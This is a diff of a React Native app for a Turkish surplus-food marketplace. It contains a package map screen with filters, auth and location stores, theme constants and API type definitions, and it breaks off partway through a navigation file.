type Props = NativeStackScreenProps<YemekStackParamList, 'YemekMap'>;
function CategoryImage({uri, icon}: {uri: string | null; icon: string}) {
const [failed, setFailed] = React.useState(false);
if (!uri || failed) {
return <Text style={catImgStyles.icon}>{icon}</Text>;
}
return (
<Image
source={{uri}}
style={catImgStyles.image}
resizeMode="cover"
onError={() => setFailed(true)}
/>
);
}
const catImgStyles = StyleSheet.create({
image: {width: 52, height: 52, borderRadius: 26},
icon: {fontSize: 24},
});
export default function YemekMapScreen({navigation}: Props) {
const {t} = useTranslation();
const {latitude, longitude, address, updateLocation} = useLocationStore();
const [packages, setPackages] = useState<PackageNearby[]>([]);
const [category, setCategory] = useState<StoreType | 'all'>('all');
const [loading, setLoading] = useState(false);
const [filterVisible, setFilterVisible] = useState(false);
const [filterSection, setFilterSection] = useState<FilterSection | undefined>(undefined);
const [activeFilter, setActiveFilter] = useState<FilterState | null>(null);
const [radius, setRadius] = useState(0); // Default: Tümü (show all)
const [notifEnabled, setNotifEnabled] = useState(false);
// Check if notification permission was already granted
useEffect(() => {
AsyncStorage.getItem('@bereketli_notif_enabled').then(val => {
if (val === 'true') setNotifEnabled(true);
}).catch(() => {});
}, []);
const insets = useSafeAreaInsets();
const handleNotificationToggle = async () => {
try {
// 1. Request notification permission from Android
const authStatus = await messaging().requestPermission();
const enabled =
authStatus === messaging.AuthorizationStatus.AUTHORIZED ||
authStatus === messaging.AuthorizationStatus.PROVISIONAL;
if (!enabled) {
Alert.alert(t('packages.notificationPermission'), t('packages.notificationPermissionMsg'));
return;
}
// 2. Get real FCM token
const fcmToken = await messaging().getToken();
// 3. Register token with backend (backend expects {token: string})
await client.post('/notifications/register', {
token: fcmToken,
});
setNotifEnabled(true);
await AsyncStorage.setItem('@bereketli_notif_enabled', 'true');
Alert.alert(t('packages.notificationsEnabled'), t('packages.notificationsEnabledMsg'));
} catch (err: any) {
const msg = err?.response?.data?.message || err?.message || t('packages.notificationRegisterFailed');
Alert.alert(t('common.error'), msg);
}
};
const fetchPackages = useCallback(async () => {
setLoading(true);
try {
let data: PackageNearby[];
if (radius === 0) {
// "Tümü" — show all packages regardless of location
data = await packagesApi.getAllPackages(category === 'all' ? undefined : category);
} else if (latitude && longitude) {
// Real location + real radius
data = await packagesApi.getNearbyPackages(
latitude,
longitude,
radius,
category === 'all' ? undefined : category,
);
} else {
// No location — can only show "Tümü"
data = [];
}
setPackages(data);
} catch {
setPackages([]);
} finally {
setLoading(false);
}
}, [latitude, longitude, category, radius]);
// Prefetch category images on mount for faster loading
useEffect(() => {
CATEGORIES.forEach(cat => {
if (cat.image) {
Image.prefetch(cat.image).catch(() => {});
}
});
updateLocation();
// eslint-disable-next-line react-hooks/exhaustive-deps -- updateLocation is a stable zustand store action
}, []);
useEffect(() => {
fetchPackages();
}, [fetchPackages]);
const handlePackagePress = (item: PackageNearby) => {
navigation.navigate('PackageDetail', {
packageId: item.id,
storeName: item.store_name,
storeAddress: item.store_address,
});
};
const openFilterModal = (section?: FilterSection) => {
setFilterSection(section);
setFilterVisible(true);
};
const handleFilterApply = (filter: FilterState) => {
setActiveFilter(filter);
};
// Apply client-side filtering
let filteredPackages = [...packages];
if (activeFilter) {
// Delivery filter
if (activeFilter.hasDelivery) {
filteredPackages = filteredPackages.filter(p => p.delivery_available === true);
}
// Discount filter
if (activeFilter.discounted) {
filteredPackages = filteredPackages.filter(p => p.price < p.original_value);
}
// Last few remaining
if (activeFilter.lastFew) {
filteredPackages = filteredPackages.filter(p => p.remaining <= 3);
}
// Price range
if (activeFilter.priceRange[1] < 500) {
filteredPackages = filteredPackages.filter(
p => p.price >= activeFilter!.priceRange[0] && p.price <= activeFilter!.priceRange[1],
);
}
// Sort
if (activeFilter.sort === 'price') {
filteredPackages = [...filteredPackages].sort((a, b) => a.price - b.price);
} else if (activeFilter.sort === 'distance') {
filteredPackages = [...filteredPackages].sort((a, b) => (a.distance_m || 99999) - (b.distance_m || 99999));
} else if (activeFilter.sort === 'rating') {
filteredPackages = [...filteredPackages].sort((a, b) => b.store_rating - a.store_rating);
}
}
const activeFilterCount = activeFilter
? [
activeFilter.sort !== 'recommended',
activeFilter.hasDelivery,
activeFilter.lastFew,
activeFilter.discounted,
activeFilter.priceRange[1] < 500,
].filter(Boolean).length
: 0;
const renderScrollHeader = () => (
<>
{/* ── Filter Pills (Yemeksepeti style — each pill is independent) ── */}
<View style={styles.filterBar}>
<ScrollView
horizontal
showsHorizontalScrollIndicator={false}
contentContainerStyle={styles.filterList}>
{/* Filter icon — opens full modal */}
<TouchableOpacity
style={[styles.filterPill, activeFilterCount > 0 && styles.filterPillActive]}
onPress={() => openFilterModal()}>
<Text style={styles.filterPillIcon}></Text>
{activeFilterCount > 0 && (
<View style={styles.filterBadge}>
<Text style={styles.filterBadgeText}>{activeFilterCount}</Text>
</View>
)}
</TouchableOpacity>
{/* Sıralama — dropdown pill */}
<TouchableOpacity
style={[styles.filterPill, activeFilter?.sort !== 'recommended' && activeFilter?.sort != null && styles.filterPillActive]}
onPress={() => openFilterModal('sort')}>
<Text style={[styles.filterPillLabel, activeFilter?.sort !== 'recommended' && activeFilter?.sort != null && styles.filterPillLabelActive]}>
{activeFilter?.sort === 'distance' ? t('packages.sortDistance') :
activeFilter?.sort === 'price' ? t('packages.sortPrice') :
activeFilter?.sort === 'rating' ? t('packages.sortRating') : t('packages.sortLabel')}
</Text>
<Text style={[styles.filterPillArrow, activeFilter?.sort !== 'recommended' && activeFilter?.sort != null && styles.filterPillArrowActive]}></Text>
</TouchableOpacity>
{/* Teslimat var — toggle pill */}
<TouchableOpacity
style={[styles.filterPill, activeFilter?.hasDelivery && styles.filterPillActive]}
onPress={() => {
setActiveFilter(f => f
? {...f, hasDelivery: !f.hasDelivery}
: {sort: 'recommended', hasDelivery: true, lastFew: false, discounted: false, payment: 'all', priceRange: [0, 500]},
);
}}>
<Text style={[styles.filterPillLabel, activeFilter?.hasDelivery && styles.filterPillLabelActive]}>🛵 {t('packages.delivery')}</Text>
</TouchableOpacity>
{/* İndirimli — toggle pill */}
<TouchableOpacity
style={[styles.filterPill, activeFilter?.discounted && styles.filterPillActive]}
onPress={() => {
setActiveFilter(f => f
? {...f, discounted: !f.discounted}
: {sort: 'recommended', hasDelivery: false, lastFew: false, discounted: true, payment: 'all', priceRange: [0, 500]},
);
}}>
<Text style={[styles.filterPillLabel, activeFilter?.discounted && styles.filterPillLabelActive]}>🏷 {t('packages.discounted')}</Text>
</TouchableOpacity>
{/* Son birkaç — toggle pill */}
<TouchableOpacity
style={[styles.filterPill, activeFilter?.lastFew && styles.filterPillActive]}
onPress={() => {
setActiveFilter(f => f
? {...f, lastFew: !f.lastFew}
: {sort: 'recommended', hasDelivery: false, lastFew: true, discounted: false, payment: 'all', priceRange: [0, 500]},
);
}}>
<Text style={[styles.filterPillLabel, activeFilter?.lastFew && styles.filterPillLabelActive]}>🔥 {t('packages.lastFew')}</Text>
</TouchableOpacity>
{/* Fiyat Aralığı — dropdown pill */}
<TouchableOpacity
style={[styles.filterPill, activeFilter?.priceRange[1] != null && activeFilter.priceRange[1] < 500 && styles.filterPillActive]}
onPress={() => openFilterModal('price')}>
<Text style={[styles.filterPillLabel, activeFilter?.priceRange[1] != null && activeFilter.priceRange[1] < 500 && styles.filterPillLabelActive]}>
{activeFilter?.priceRange[1] != null && activeFilter.priceRange[1] < 500
? `${activeFilter.priceRange[0]}-${activeFilter.priceRange[1]} TL`
: t('packages.priceRange')}
</Text>
<Text style={styles.filterPillArrow}></Text>
</TouchableOpacity>
</ScrollView>
</View>
{/* ── Distance Control ── */}
<View style={styles.distanceSection}>
<View style={styles.distanceHeader}>
<Text style={styles.distanceLabel}>📍 {t('common.distance')}</Text>
<Text style={styles.distanceValue}>
{radius === 0 ? t('common.all') : radius >= 1000 ? `${(radius / 1000).toFixed(1)} km` : `${radius}m`}
</Text>
</View>
<View style={styles.distanceSliderRow}>
{([500, 1000, 2000, 3000, 5000, 0] as number[]).map(r => (
<TouchableOpacity
key={r}
style={[styles.distanceChip, radius === r && styles.distanceChipActive]}
onPress={() => setRadius(r)}>
<Text style={[styles.distanceChipText, radius === r && styles.distanceChipTextActive]}>
{r === 0 ? t('common.all') : r >= 1000 ? `${r / 1000}km` : `${r}m`}
</Text>
</TouchableOpacity>
))}
</View>
</View>
{/* ── Referral Banner ── */}
<TouchableOpacity
style={styles.referralBanner}
onPress={() => navigation.navigate('Referral')}
activeOpacity={0.7}>
<Text style={styles.referralBannerEmoji}>{'\uD83C\uDF81'}</Text>
<View style={styles.referralBannerText}>
<Text style={styles.referralBannerTitle}>{t('packages.referralBannerTitle')}</Text>
<Text style={styles.referralBannerDesc}>{t('packages.referralBannerDesc')}</Text>
</View>
<Text style={styles.referralBannerArrow}>{'\u2192'}</Text>
</TouchableOpacity>
{/* ── Announcement Banner (dynamic from API) ── */}
<AnnouncementBanner />
{/* ── Category Icons ── */}
<View style={styles.categorySection}>
<ScrollView
horizontal
showsHorizontalScrollIndicator={false}
contentContainerStyle={styles.categoryList}>
{CATEGORIES.map(cat => (
<TouchableOpacity
key={cat.key}
style={styles.categoryItem}
onPress={() => setCategory(cat.key)}
activeOpacity={0.7}>
<View
style={[
styles.categoryCircle,
{backgroundColor: cat.color + '15'},
category === cat.key && {
borderWidth: 2.5,
borderColor: cat.color,
},
]}>
<CategoryImage uri={cat.image} icon={cat.icon} />
</View>
<Text
style={[
styles.categoryLabel,
category === cat.key && {color: cat.color, fontWeight: '700'},
]}>
{t(cat.labelKey)}
</Text>
</TouchableOpacity>
))}
</ScrollView>
</View>
{/* ── Section Title ── */}
<View style={styles.sectionHeader}>
<Text style={styles.sectionTitle}>
{category === 'all'
? t('packages.nearbyPackages')
: t('packages.categoryPackages', {category: t(CATEGORIES.find(c => c.key === category)?.labelKey || 'common.all')})}
</Text>
{filteredPackages.length > 0 && (
<Text style={styles.sectionCount}>{t('packages.packageCount', {count: filteredPackages.length})}</Text>
)}
</View>
</>
);
useFocusEffect(
useCallback(() => {
StatusBar.setBarStyle('light-content');
StatusBar.setBackgroundColor(colors.primary);
}, []),
);
return (
<View style={styles.container}>
{/* ── Sticky Header (sabit) ── */}
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
<View style={styles.locationRow}>
<TouchableOpacity
style={styles.locationLeft}
onPress={() => navigation.navigate('LocationPicker')}
activeOpacity={0.7}>
<Text style={styles.locationPin}>📍</Text>
<View style={styles.locationTextContainer}>
<Text style={styles.locationLabel}>{t('packages.deliveryAddress')}</Text>
<Text style={styles.locationAddress} numberOfLines={1}>
{address || (latitude && longitude ? `${latitude.toFixed(4)}, ${longitude.toFixed(4)}` : t('packages.selectLocation'))}
</Text>
</View>
</TouchableOpacity>
<TouchableOpacity style={styles.headerIconBtn} onPress={() => navigation.navigate('AiChat')}>
<Icon name="robot" size={20} color="#FFFFFF" />
<Text style={styles.aiLabel}>AI</Text>
</TouchableOpacity>
<TouchableOpacity style={styles.headerIconBtn} onPress={handleNotificationToggle}>
<Text style={styles.headerIcon}>{notifEnabled ? '🔔' : '🔕'}</Text>
</TouchableOpacity>
</View>
<TouchableOpacity
style={styles.searchBar}
onPress={() => navigation.navigate('Search')}
activeOpacity={0.8}>
<Text style={styles.searchIcon}>🔍</Text>
<Text style={styles.searchPlaceholder}>{t('packages.searchPlaceholder')}</Text>
</TouchableOpacity>
</View>
<OfflineBanner />
{/* ── Scrollable Content ── */}
<FlatList
data={filteredPackages}
keyExtractor={item => item.id}
renderItem={({item}) => (
<View style={styles.cardWrapper}>
<PackageCard item={item} onPress={() => handlePackagePress(item)} />
</View>
)}
ListHeaderComponent={renderScrollHeader}
contentContainerStyle={styles.list}
refreshControl={
<RefreshControl
refreshing={loading}
onRefresh={fetchPackages}
colors={[colors.primary]}
progressViewOffset={120}
/>
}
ListEmptyComponent={
!loading ? (
<View style={styles.empty}>
<View style={styles.emptyIconContainer}>
<Text style={styles.emptyIconText}>🛍</Text>
</View>
<Text style={styles.emptyTitle}>{t('packages.emptyTitle')}</Text>
<Text style={styles.emptyText}>
{t('packages.emptyText')}
</Text>
</View>
) : null
}
/>
{/* Filter Modal */}
<FilterModal
visible={filterVisible}
onClose={() => setFilterVisible(false)}
onApply={handleFilterApply}
initialFilter={activeFilter || undefined}
initialSection={filterSection}
/>
</View>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: '#F8F8F8'},
// ── Header ──
header: {
backgroundColor: colors.primary,
paddingBottom: 16,
paddingHorizontal: 16,
},
locationRow: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
marginBottom: 12,
},
locationLeft: {
flexDirection: 'row',
alignItems: 'center',
gap: 8,
flex: 1,
},
locationPin: {fontSize: 20},
locationTextContainer: {
flex: 1,
},
locationLabel: {
fontSize: 11,
color: 'rgba(255,255,255,0.7)',
fontWeight: '500',
},
locationAddress: {
fontSize: 15,
color: '#FFFFFF',
fontWeight: '700',
},
headerIconBtn: {
width: 40,
height: 40,
borderRadius: 20,
backgroundColor: 'rgba(255,255,255,0.15)',
justifyContent: 'center',
alignItems: 'center',
},
headerIcon: {fontSize: 18},
aiLabel: {fontSize: 8, fontWeight: '700', color: '#FFFFFF', marginTop: 1},
// ── Search ──
searchBar: {
flexDirection: 'row',
alignItems: 'center',
backgroundColor: '#FFFFFF',
borderRadius: 12,
paddingHorizontal: 14,
height: 46,
gap: 10,
},
searchIcon: {fontSize: 16},
searchPlaceholder: {
flex: 1,
fontSize: 14,
color: '#9CA3AF',
},
// ── Filter Pills ──
filterBar: {
backgroundColor: '#FFFFFF',
paddingVertical: 10,
borderBottomWidth: 1,
borderBottomColor: '#F3F4F6',
},
filterList: {
paddingHorizontal: 16,
gap: 8,
},
filterPill: {
flexDirection: 'row',
alignItems: 'center',
borderWidth: 1,
borderColor: '#E5E7EB',
borderRadius: 20,
paddingHorizontal: 12,
paddingVertical: 8,
gap: 4,
},
filterPillActive: {
backgroundColor: colors.primary,
borderColor: colors.primary,
},
filterPillIcon: {fontSize: 14, opacity: 0.8},
filterPillLabel: {
fontSize: 13,
fontWeight: '500',
color: '#374151',
},
filterPillLabelActive: {
color: '#FFFFFF',
},
filterPillArrow: {
fontSize: 10,
color: '#6B7280',
},
filterPillArrowActive: {
color: '#FFFFFF',
},
filterBadge: {
backgroundColor: colors.primary,
borderRadius: 8,
width: 16,
height: 16,
justifyContent: 'center',
alignItems: 'center',
marginLeft: 2,
},
filterBadgeText: {
fontSize: 10,
fontWeight: '700',
color: '#FFFFFF',
},
// ── Distance ──
distanceSection: {
backgroundColor: '#FFFFFF',
paddingHorizontal: 16,
paddingVertical: 12,
borderBottomWidth: 1,
borderBottomColor: '#F3F4F6',
},
distanceHeader: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
marginBottom: 8,
},
distanceLabel: {
fontSize: 13,
fontWeight: '600',
color: '#374151',
},
distanceValue: {
fontSize: 13,
fontWeight: '700',
color: colors.primary,
},
distanceSliderRow: {
flexDirection: 'row',
gap: 8,
},
distanceChip: {
flex: 1,
paddingVertical: 8,
borderRadius: 20,
backgroundColor: '#F3F4F6',
alignItems: 'center',
},
distanceChipActive: {
backgroundColor: colors.primary,
},
distanceChipText: {
fontSize: 12,
fontWeight: '600',
color: '#6B7280',
},
distanceChipTextActive: {
color: '#FFFFFF',
},
// ── Referral Banner ──
referralBanner: {
flexDirection: 'row',
alignItems: 'center',
backgroundColor: '#2d5016',
borderRadius: 12,
padding: 12,
marginHorizontal: 16,
marginTop: 12,
},
referralBannerEmoji: {fontSize: 16, marginRight: 8},
referralBannerText: {flex: 1},
referralBannerTitle: {color: '#FFFFFF', fontWeight: '700', fontSize: 14},
referralBannerDesc: {color: 'rgba(255,255,255,0.67)', fontSize: 12},
referralBannerArrow: {color: '#FFFFFF', fontSize: 18},
// ── Banner (handled by AnnouncementBanner component) ──
// ── Categories ──
categorySection: {
backgroundColor: '#FFFFFF',
marginTop: 12,
paddingVertical: 16,
},
categoryList: {
paddingHorizontal: 16,
gap: 20,
},
categoryItem: {
alignItems: 'center',
width: 64,
},
categoryCircle: {
width: 56,
height: 56,
borderRadius: 28,
justifyContent: 'center',
alignItems: 'center',
marginBottom: 6,
},
categoryImage: {
width: 52,
height: 52,
borderRadius: 26,
},
categoryIcon: {
fontSize: 24,
},
categoryLabel: {
fontSize: 11,
fontWeight: '600',
color: '#6B7280',
textAlign: 'center',
},
// ── Section Header ──
sectionHeader: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
paddingHorizontal: 16,
paddingTop: 20,
paddingBottom: 12,
},
sectionTitle: {
fontSize: 20,
fontWeight: '700',
color: '#1A1A1A',
},
sectionCount: {
fontSize: 13,
color: '#9CA3AF',
fontWeight: '500',
},
// ── List ──
list: {
paddingBottom: 100,
},
cardWrapper: {
paddingHorizontal: 16,
},
// ── Empty State ──
empty: {
alignItems: 'center',
paddingTop: 48,
paddingHorizontal: 40,
},
emptyIconContainer: {
width: 80,
height: 80,
borderRadius: 40,
backgroundColor: '#F3F4F6',
justifyContent: 'center',
alignItems: 'center',
marginBottom: 16,
},
emptyIconText: {fontSize: 36},
emptyTitle: {
fontSize: 18,
fontWeight: '700',
color: '#1A1A1A',
marginBottom: 8,
textAlign: 'center',
},
emptyText: {
fontSize: 14,
color: '#6B7280',
textAlign: 'center',
lineHeight: 20,
},
emptyCta: {
marginTop: 20,
backgroundColor: colors.primary,
borderRadius: 24,
paddingHorizontal: 24,
paddingVertical: 12,
},
emptyCtaText: {
fontSize: 14,
fontWeight: '700',
color: '#FFFFFF',
},
});
@@ -0,0 +1,83 @@
import {create} from 'zustand';
import type {User} from '../types/models';
import * as authApi from '../api/auth';
import {clearTokens, getAccessToken} from '../api/client';
interface AuthState {
user: User | null;
isLoggedIn: boolean;
isLoading: boolean;
error: string | null;
login: (identifier: string, password: string) => Promise<void>;
register: (name: string, email: string, password: string, phone?: string, referral_code?: string) => Promise<void>;
logout: () => Promise<void>;
checkAuth: () => Promise<void>;
updateUser: (partial: Partial<User>) => void;
clearError: () => void;
setAuth: (data: { accessToken: string; refreshToken: string; user: User }) => void;
}
export const useAuthStore = create<AuthState>((set) => ({
user: null,
isLoggedIn: false,
isLoading: true,
error: null,
login: async (identifier, password) => {
set({isLoading: true, error: null});
try {
const response = await authApi.login(identifier, password);
set({user: response.user, isLoggedIn: true, isLoading: false});
} catch (err: any) {
const message = err.response?.data?.message || 'Giris basarisiz';
set({error: message, isLoading: false});
throw err;
}
},
register: async (name, email, password, phone, referral_code) => {
set({isLoading: true, error: null});
try {
const response = await authApi.register(name, email, password, phone, referral_code);
set({user: response.user, isLoggedIn: true, isLoading: false});
} catch (err: any) {
const message = err.response?.data?.message || 'Kayit basarisiz';
set({error: message, isLoading: false});
throw err;
}
},
logout: async () => {
await clearTokens();
set({user: null, isLoggedIn: false, isLoading: false, error: null});
},
checkAuth: async () => {
try {
const token = await getAccessToken();
if (token) {
const user = await authApi.getMe();
set({user, isLoggedIn: true, isLoading: false});
} else {
set({isLoggedIn: false, isLoading: false});
}
} catch {
set({isLoggedIn: false, isLoading: false});
}
},
updateUser: (partial) => set((state) => ({
user: state.user ? {...state.user, ...partial} : null,
})),
clearError: () => set({error: null}),
setAuth: (data) => {
// Store tokens for API client
import('../api/client').then(({ saveTokens }) => {
saveTokens(data.accessToken, data.refreshToken);
});
set({ user: data.user, isLoggedIn: true, isLoading: false, error: null });
},
}));
@@ -0,0 +1,131 @@
import {create} from 'zustand';
import {Platform, PermissionsAndroid} from 'react-native';
import * as Location from 'expo-location';
// Compat shim for Geolocation API
const Geolocation = {
getCurrentPosition: (success: (pos: { coords: { latitude: number; longitude: number } }) => void, error: (err: { message: string }) => void, _options?: unknown) => {
Location.getCurrentPositionAsync({ accuracy: Location.Accuracy.Balanced })
.then(loc => success({ coords: { latitude: loc.coords.latitude, longitude: loc.coords.longitude } }))
.catch((e: Error) => error({ message: e.message }));
},
};
import {GOOGLE_MAPS_KEY} from '../config';
interface LocationState {
latitude: number | null;
longitude: number | null;
address: string | null;
permissionGranted: boolean;
isLoading: boolean;
error: string | null;
requestPermission: () => Promise<boolean>;
updateLocation: () => Promise<void>;
setLocation: (lat: number, lon: number) => void;
reverseGeocode: (lat: number, lon: number) => Promise<void>;
}
export const useLocationStore = create<LocationState>((set, get) => ({
latitude: null,
longitude: null,
address: null,
permissionGranted: false,
isLoading: false,
error: null,
requestPermission: async () => {
if (Platform.OS === 'android') {
try {
const already = await PermissionsAndroid.check(
PermissionsAndroid.PERMISSIONS.ACCESS_FINE_LOCATION,
);
if (already) {
set({permissionGranted: true});
return true;
}
const granted = await PermissionsAndroid.request(
PermissionsAndroid.PERMISSIONS.ACCESS_FINE_LOCATION,
{
title: 'Konum Izni',
message: 'Yakininizdaki paketleri gosterebilmemiz icin konum izni gerekli.',
buttonPositive: 'Izin Ver',
buttonNegative: 'Reddet',
},
);
const ok = granted === PermissionsAndroid.RESULTS.GRANTED;
set({permissionGranted: ok});
return ok;
} catch {
set({permissionGranted: false});
return false;
}
}
set({permissionGranted: true});
return true;
},
updateLocation: async () => {
set({isLoading: true, error: null});
let hasPermission = get().permissionGranted;
if (!hasPermission) {
hasPermission = await get().requestPermission();
}
if (!hasPermission) {
set({isLoading: false, error: 'Konum izni verilmedi'});
return;
}
try {
await new Promise<void>((resolve) => {
Geolocation.getCurrentPosition(
(position) => {
const lat = position.coords.latitude;
const lon = position.coords.longitude;
set({latitude: lat, longitude: lon, isLoading: false, error: null});
get().reverseGeocode(lat, lon);
resolve();
},
(err) => {
set({isLoading: false, error: err.message});
resolve();
},
{enableHighAccuracy: false, timeout: 30000, maximumAge: 300000},
);
});
} catch {
set({isLoading: false});
}
},
reverseGeocode: async (lat, lon) => {
try {
const res = await fetch(
`https://maps.googleapis.com/maps/api/geocode/json?latlng=${lat},${lon}&key=${GOOGLE_MAPS_KEY}&language=tr`,
);
const data = await res.json();
if (data.status === 'OK' && data.results?.length > 0) {
const components = data.results[0].address_components;
const neighborhood = components?.find((c: any) =>
c.types.includes('neighborhood') || c.types.includes('sublocality'),
)?.long_name;
const route = components?.find((c: any) =>
c.types.includes('route'),
)?.long_name;
const district = components?.find((c: any) =>
c.types.includes('administrative_area_level_2') || c.types.includes('locality'),
)?.long_name;
const parts = [neighborhood || route, district].filter(Boolean);
const address = parts.length > 0 ? parts.join(', ') : data.results[0].formatted_address;
set({address});
}
} catch {
// Silent — coordinates shown as fallback
}
},
setLocation: (lat, lon) => {
set({latitude: lat, longitude: lon, address: null});
get().reverseGeocode(lat, lon);
},
}));
@@ -0,0 +1,52 @@
// Bereketli marka renkleri
export const colors = {
// Ana renkler
primary: '#2D6A4F', // Koyu yesil — ana marka rengi
primaryLight: '#40916C', // Acik yesil
primaryDark: '#1B4332', // Cok koyu yesil
// Ikincil
secondary: '#E8A838', // Amber/turuncu — sicaklik, bereket
secondaryLight: '#F0C05A',
secondaryDark: '#C68B1E',
// Arka plan
background: '#F5F0E8', // Krem/bej — mahalle sicakligi
backgroundWhite: '#FFFFFF',
backgroundCard: '#FFFFFF',
// Yazi
textPrimary: '#1A1A1A',
textSecondary: '#6B7280',
textLight: '#9CA3AF',
textWhite: '#FFFFFF',
textLink: '#2D6A4F',
// Durum
success: '#10B981',
warning: '#F59E0B',
error: '#EF4444',
info: '#3B82F6',
// Sinir
border: '#E5E7EB',
borderLight: '#F3F4F6',
divider: '#E5E7EB',
// Ozel
star: '#F59E0B', // Yildiz puanlama
heart: '#EF4444', // Favori
badge: '#2D6A4F', // Rozet arka plan
qrBackground: '#FFFFFF',
// Kategori renkleri
bakery: '#E8A838',
restaurant: '#EF4444',
pastry: '#EC4899',
market: '#10B981',
catering: '#8B5CF6',
// Overlay
overlay: 'rgba(0, 0, 0, 0.5)',
overlayLight: 'rgba(0, 0, 0, 0.3)',
};
@@ -0,0 +1,3 @@
export {colors} from './colors';
export {spacing, borderRadius} from './spacing';
export {typography} from './typography';
@@ -0,0 +1,17 @@
export const spacing = {
xs: 4,
sm: 8,
md: 12,
lg: 16,
xl: 24,
xxl: 32,
xxxl: 48,
};
export const borderRadius = {
sm: 6,
md: 10,
lg: 16,
xl: 24,
full: 9999,
};
@@ -0,0 +1,21 @@
import {Platform} from 'react-native';
const fontFamily = Platform.select({
ios: 'System',
android: 'Roboto',
default: 'System',
});
export const typography = {
h1: {fontSize: 28, fontWeight: '700' as const, fontFamily, lineHeight: 36},
h2: {fontSize: 22, fontWeight: '700' as const, fontFamily, lineHeight: 28},
h3: {fontSize: 18, fontWeight: '600' as const, fontFamily, lineHeight: 24},
body: {fontSize: 16, fontWeight: '400' as const, fontFamily, lineHeight: 22},
bodyBold: {fontSize: 16, fontWeight: '600' as const, fontFamily, lineHeight: 22},
caption: {fontSize: 14, fontWeight: '400' as const, fontFamily, lineHeight: 18},
captionBold: {fontSize: 14, fontWeight: '600' as const, fontFamily, lineHeight: 18},
small: {fontSize: 12, fontWeight: '400' as const, fontFamily, lineHeight: 16},
price: {fontSize: 20, fontWeight: '700' as const, fontFamily, lineHeight: 26},
priceOld: {fontSize: 14, fontWeight: '400' as const, fontFamily, lineHeight: 18, textDecorationLine: 'line-through' as const},
button: {fontSize: 16, fontWeight: '600' as const, fontFamily, lineHeight: 22},
};
@@ -0,0 +1,210 @@
// API response tipleri — backend struct'lariyla birebir eslesir
export interface User {
id: string;
email: string;
phone: string | null;
name: string;
avatar_url: string | null;
role: 'customer' | 'store_owner' | 'cook' | 'merchant' | 'admin';
email_verified: boolean;
phone_verified: boolean;
created_at: string;
}
export interface AuthResponse {
access_token: string;
refresh_token: string;
user: User;
}
export interface Store {
id: string;
owner_id: string;
name: string;
store_type: StoreType;
description: string | null;
address: string;
rating: number;
total_reviews: number;
photos: string[];
opening_hours: Record<string, string> | null;
phone: string | null;
delivers: boolean;
delivery_radius_m: number;
verified: boolean;
active: boolean;
created_at: string;
}
export interface StoreNearby extends Store {
lat: number;
lon: number;
distance_m: number;
}
export interface Package {
id: string;
store_id: string;
title: string;
description: string | null;
price: number;
original_value: number;
category: StoreType;
pickup_start: string;
pickup_end: string;
total_quantity: number;
remaining: number;
status: 'active' | 'sold_out' | 'expired' | 'cancelled';
created_at: string;
}
export interface PackageNearby {
id: string;
store_id: string;
title: string;
description: string | null;
price: number;
original_value: number;
category: StoreType;
pickup_start: string;
pickup_end: string;
remaining: number;
status: string;
created_at: string;
store_name: string;
store_rating: number;
store_address: string;
store_photos: string[];
store_lat: number;
store_lon: number;
distance_m: number;
delivery_available: boolean;
}
export interface Order {
id: string;
user_id: string;
package_id: string;
store_id: string;
quantity: number;
unit_price: number;
total_price: number;
status: 'pending' | 'paid' | 'picked_up' | 'cancelled' | 'refunded';
qr_code: string | null;
qr_token: string;
payment_id: string | null;
paid_at: string | null;
picked_up_at: string | null;
cancelled_at: string | null;
created_at: string;
}
export interface MealListing {
id: string;
cook_id: string;
title: string;
description: string | null;
photos: string[];
price_per_portion: number;
total_portions: number;
remaining_portions: number;
available_until: string;
pickup_or_delivery: 'pickup' | 'delivery' | 'both';
address: string;
status: 'active' | 'sold_out' | 'expired' | 'cancelled';
created_at: string;
}
export interface MealNearby extends MealListing {
cook_name: string;
lat: number;
lon: number;
distance_m: number;
}
export interface MealOrder {
id: string;
buyer_id: string;
listing_id: string;
cook_id: string;
portions: number;
total_price: number;
status: 'pending' | 'accepted' | 'rejected' | 'completed' | 'cancelled';
qr_code: string | null;
qr_token: string;
created_at: string;
accepted_at: string | null;
completed_at: string | null;
cancelled_at: string | null;
}
export interface Merchant {
id: string;
owner_id: string;
name: string;
category: MerchantCategory;
description: string | null;
story: string | null;
address: string;
photos: string[];
opening_hours: Record<string, string> | null;
rating: number;
total_reviews: number;
phone: string | null;
plan: 'free' | 'pro' | 'business';
active: boolean;
created_at: string;
}
export interface MerchantNearby extends Merchant {
lat: number;
lon: number;
distance_m: number;
}
export interface LoyaltyProgram {
id: string;
merchant_id: string;
name: string;
program_type: 'stamp' | 'points' | 'frequency';
stamps_required: number | null;
points_required: number | null;
frequency_required: number | null;
reward_description: string;
reward_value: number | null;
active: boolean;
created_at: string;
}
export interface LoyaltyCard {
id: string;
program_id: string;
merchant_id: string;
merchant_name: string;
merchant_category: MerchantCategory;
program_name: string;
program_type: 'stamp' | 'points' | 'frequency';
current_stamps: number;
current_points: number;
visit_count: number;
stamps_required: number | null;
points_required: number | null;
frequency_required: number | null;
reward_description: string;
last_visit: string | null;
}
export interface Review {
id: string;
user_id: string;
user_name: string;
user_avatar: string | null;
rating: number;
comment: string | null;
photos: string[];
created_at: string;
}
export type StoreType = 'bakery' | 'restaurant' | 'pastry' | 'market' | 'catering' | 'other';
export type MerchantCategory = 'barber' | 'cafe' | 'butcher' | 'greengrocer' | 'pharmacy' | 'tailor' | 'bakery' | 'other';
+13
View File
@@ -0,0 +1,13 @@
declare module 'react-native-vector-icons/MaterialCommunityIcons' {
import { Component } from 'react';
export default class Icon extends Component<{ name: string; size?: number; color?: string; style?: any }> {}
}
declare module 'react-native-image-picker' {
export interface ImagePickerResponse {
assets?: Array<{ uri?: string; fileName?: string; type?: string }>;
didCancel?: boolean;
errorCode?: string;
}
export function launchImageLibrary(options: any, callback?: (response: ImagePickerResponse) => void): Promise<ImagePickerResponse>;
}
+7
View File
@@ -44,6 +44,7 @@ import VPNScreen from '../screens/VPNScreen';
import UniversityScreen from '../screens/UniversityScreen';
import CertificatesScreen from '../screens/CertificatesScreen';
import ResearchScreen from '../screens/ResearchScreen';
import ExchangeScreen from '../screens/ExchangeScreen';
export type RootStackParamList = {
Welcome: undefined;
@@ -82,6 +83,7 @@ export type RootStackParamList = {
University: undefined;
Certificates: undefined;
